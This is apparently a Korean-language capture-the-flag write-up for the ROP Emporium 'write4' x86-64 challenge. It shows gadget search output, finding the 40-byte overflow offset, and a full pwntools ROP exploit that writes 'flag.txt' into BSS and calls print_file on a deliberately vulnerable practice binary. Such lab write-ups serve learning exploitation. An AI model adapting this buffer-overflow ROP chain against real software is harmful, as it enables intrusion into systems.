"flag.txt"를 인자로 print_file() 함수를 호출하면 됩니다.
mov [reg], reg 같은 가젯을 이용해서 메모리에 원하는 값을 쓸 수 있습니다.
kali@kali ~/wargame/ROP/write4 checksec write4
[*] '/home/kali/wargame/ROP/write4/write4'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
gef➤ disas pwnme
0x00007ffff7c0091e <+116>: lea rax,[rbp-0x20]
0x00007ffff7c00922 <+120>: mov edx,0x200
0x00007ffff7c00927 <+125>: mov rsi,rax
0x00007ffff7c0092a <+128>: mov edi,0x0
0x00007ffff7c0092f <+133>: call 0x7ffff7c00770 <read@plt> # read(0, rbp-0x20, 0x200)
먼저 mov 명령이 포함된 가젯을 찾아보겠습니다.
kali@kali ~/wargame/ROP/write4 ROPgadget --binary ./write4 --re "mov"
Gadgets information
============================================================
0x00000000004005fc : add byte ptr [rax], al ; add byte ptr [rax], al ; push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x400590
0x00000000004005fd : add byte ptr [rax], al ; add byte ptr [rbp + 0x48], dl ; mov ebp, esp ; pop rbp ; jmp 0x400590
0x00000000004005fe : add byte ptr [rax], al ; push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x400590
0x00000000004005ff : add byte ptr [rbp + 0x48], dl ; mov ebp, esp ; pop rbp ; jmp 0x400590
0x000000000040061a : in eax, 0xbf ; mov ah, 6 ; add al, bpl ; jmp 0x400621
0x0000000000400579 : je 0x400588 ; pop rbp ; mov edi, 0x601038 ; jmp rax
0x00000000004005bb : je 0x4005c8 ; pop rbp ; mov edi, 0x601038 ; jmp rax
0x000000000040061c : mov ah, 6 ; add al, bpl ; jmp 0x400621
0x00000000004005e2 : mov byte ptr [rip + 0x200a4f], 1 ; pop rbp ; ret
0x0000000000400629 : mov dword ptr [rsi], edi ; ret
0x0000000000400610 : mov eax, 0 ; pop rbp ; ret
0x0000000000400602 : mov ebp, esp ; pop rbp ; jmp 0x400590
0x000000000040057c : mov edi, 0x601038 ; jmp rax
0x0000000000400628 : mov qword ptr [r14], r15 ; ret
0x0000000000400601 : mov rbp, rsp ; pop rbp ; jmp 0x400590
0x000000000040057b : pop rbp ; mov edi, 0x601038 ; jmp rax
0x0000000000400600 : push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x400590
Unique gadgets found: 17
쓸만한 가젯으로 mov qword ptr [r14], r15 ; ret 가 보입니다.
r14에 BSS 영역 주소, r15에 "flag.txt" 문자열을 넣어서 BSS 영역에 flag.txt 문자열을 쓰면 될거 같습니다.
gef➤ pattern create 0x100
[+] Generating a pattern of 256 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaab
[+] Saved as '$_gef0'
gef➤ r
Starting program: /home/kali/wargame/ROP/write4/write4
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0x7ffff7fca000'
write4 by ROP Emporium
x86_64
Go ahead and give me the input already!
> aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaab
Thank you!
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7c00942 in pwnme () from ./libwrite4.so
gef➤ x/gx $rsp
0x7fffffffdee8: 0x6161616161616166
gef➤ pattern search 0x6161616161616166
[+] Searching for '6661616161616161'/'6161616161616166' with period=8
[+] Found at offset 40 (little-endian search) likely
from pwn import *
p = process("./write4")
e = ELF("./write4")
print_file = e.symbols['print_file']
bss = e.bss()
mov_r14_r15 = 0x400628
pop_r14_r15 = 0x400690
pop_rdi = 0x400693
payload = b'A' * 40
payload += p64(pop_r14_r15) + p64(bss) + b"flag.txt"
payload += p64(mov_r14_r15)
payload += p64(pop_rdi) + p64(bss)
payload += p64(print_file)
p.sendlineafter("> ", payload)
p.recvuntil("Thank you!")
p.interactive()
kali@kali ~/wargame/ROP/write4 python3 exploit.py 2> /dev/null
[+] Starting local process './write4': pid 3359
[*] '/home/kali/wargame/ROP/write4/write4'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[*] Switching to interactive mode
ROPE{a_placeholder_32byte_flag!}